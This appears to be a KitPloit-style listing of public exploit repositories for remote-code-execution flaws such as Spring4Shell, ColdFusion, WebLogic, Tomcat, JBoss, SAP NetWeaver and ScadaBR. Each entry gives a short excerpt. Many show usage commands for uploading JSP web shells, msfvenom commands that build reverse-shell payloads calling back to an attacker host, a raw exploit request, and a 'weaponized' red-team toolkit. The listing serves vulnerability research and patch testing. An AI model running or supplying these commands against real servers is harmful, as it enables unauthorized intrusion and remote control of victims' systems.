Spring4Shell

Spring RCE CVE-2022-22965 Vulnerability Environment Environment Information springboot jdk11 tomcat9.0.30 payload Request Header Configuration root@kitploit: "suffix": "%//", "c1": "Runtime", "c2": "%", "DNT": "1", "Content-Type": "application/x-www-form-urlencoded", Request Body Data...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion RCE This repository contains my exploit code for the RCE vulnerability in Adobe ColdFusion 2021. Exploit Description The exploit sends a POST request containing a JSP reverse shell to /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm. If successfull...

CVE-2024-50379-POC

CVE-2024-50379-POC This repository contains a Python script designed to exploit CVE-2024-50379 , a vulnerability that allows attackers to upload a JSP shell to a vulnerable server and execute arbitrary commands remotely. This exploit is particularly useful when the /uploads directory is either...

CVE-2018-2628

CVE-2018-2628 WebLogic Deserialization Vulnerability Reproduction weblogic getshell python CVE-2018-2628-Getshell.py ip port shell1.jsp root@kitploit: C:\Users\CTF\Desktoppython CVE-2018-2628-Getshell.py 10.10.20.166 7001 jason1.jsp / \ \ / / | | \ / / |/ \ | \ / /| \ / \ | | \ \ / /| | | | | || ...

rwsploit

Oracle Reports rwservlet Scanner ⚠️ For authorized use only. Only run this tool against systems you own or have explicit written permission to test. Unauthorized use is illegal. A focused exploitation scanner for Oracle Reports Server rwservlet targeting CVE-2012-3152 and CVE-2012-3153 — affecting...

spring4shell-poc

Spring4Shell POC Descripción de la vulnerabilidad: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html Construcción del POC: https://github.com/BobTheShoplifter/Spring4Shell-POC Pasos para construir/ejecutar Probado con JDK 11.0.14, Spring Boot 2.6.5 y Apache Tomcat 9.0.6...

Spring4Shell-POC

Spring4Shell-POC Proceso de replicación local de la vulnerabilidad Spring4Shell Preparación del entorno Entorno: docker、docker-compose Empaquetar con mvn, generar ./target/ROOT.warshell mvn package root@kitploit: Iniciar servicioshell docker-compose up -d Detener el servicioshell docker-compose...

CVE-2009-2265

Versión: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp Ejemplo :...

jboss-autopwn

jboss-autopwn JBoss Autopwn as featured at BlackHat Europe 2010 - this version incorporates CVE-2010-0738 the JBoss authentication bypass VERB manipulation vulnerability as discovered by Minded Security C. Papathanasiou 2010 INTRODUCTION This JBoss script deploys a JSP shell on the target JBoss A...

CVE-2022-22965

Spring Boot CVE-2022-22965 Docker PoC for CVE-2022-22965 with Spring Boot version 2.6.5 🚀 Getting Started 1. Download the distribution code from https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip and unzip it. 2. Run docker compose up --build to build and start the...

CVE-2022-22965

CVE-2022-22965-POC CVE-2022-22965 spring-core batch detection script Disclaimer: This script is for learning purposes only. Prohibited for illegal use. If there is any malicious destruction or illegal use, it has nothing to do with me!!! Usage: python3 CVE-2022-22965-POC.py url.txt After successf...

spring4shell-CVE-2022-22965

Simple Spring4Shell POC Check if endpoint is vulnerable python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting --check Exploit vulnerable endpoint python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting -f shell.jsp --exploit Execute command on uploaded webshe...

CVE-2018-2380

CVE-2018-2380 CVSS v3 Base Score: 6.6/10 PoC of Remote Command Execution via Log injection on SAP NetWeaver AS JAVA CRM Script usage example root@kitploit: python crmrce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0 --ssl true Where --host...

Fast-CVE-2022-22965

Target Machine root@kitploit: docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest Reverse shell essentially references msfvenom root@kitploit: msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp After URL encoding the JSP, use root@kitploit: %3C%25 replac...

CVE-2022-29464

WSO2 Arbitrary File Upload to Remote Command Execution RCE https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 Example root@kitploit: python3 exploit.py https://target.org:9443 shell.jsp...

CVE-2024-50379

手动利用麻烦，搓一个exp。。 食用： shell.jsp 是shell文件，ggsl.jsp是保存到目标服务器上的名称/路径 ./CVE-2024-50379 -u http://192.168.2.245:8080 -f shell.jsp -p ggsl.jsp 免责声明 本工具仅面向合法授权 的企业安全建设行为，如您需要测试本工具的可用性，请自行搭建靶机环境。 在使用本工具进行检测时，您应确保该行为符合当地的法律法规，并且已经取得了足够的授权。请勿对非授权目标进行扫描。 如您在使用本工具的过程中存在任何非法行为，您需自行承担相应后果，我们将不承担任何法律及连带责任。...

zaphoxx-coldfusion

zaphoxx-coldfusion coldfusion exploit based on https://cvedetails.com/cve/CVE-2009-2265/ The main reason I setup a python script for this particular cve was that the metasploit version of the same did not work for me when I tried to solve the HTB machine Arctic. Also it was nice to get some littl...

CVE-2025-31324

CVE-2025-31324 CVE-2025-31324, SAP Exploit root@kitploit: POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate, zstd Accept: / Connection: keep-alive Content-Length: 636 Content-Type:...

Spring4Shell-CVE-2022-22965-POC

Spring4Shell-CVE-2022-22965-POC root@kitploit: ghost㉿uchiha:$ ./exploit.py --help usage: exploit.py -h -f FILENAME -p PASSWORD -d DIRECTORY url Spring4Shell RCE Proof of Concept positional arguments: url Target URL options: -h, --help show this help message and exit -f FILENAME, --filename FILENA...

CVE-2021-26828-Ultimate

ScadaFlare - CVE-2021-26828 Authenticated RCE Exploitation Toolkit A modular post-auth RCE exploit targeting ScadaBR 1.1.0, enhanced for red team ops. Features Uploads weaponized .jsp shell via viewedit.shtm Supports Linux & Windows payloads SOCKS5 / HTTP proxy support Reverse shell trigger...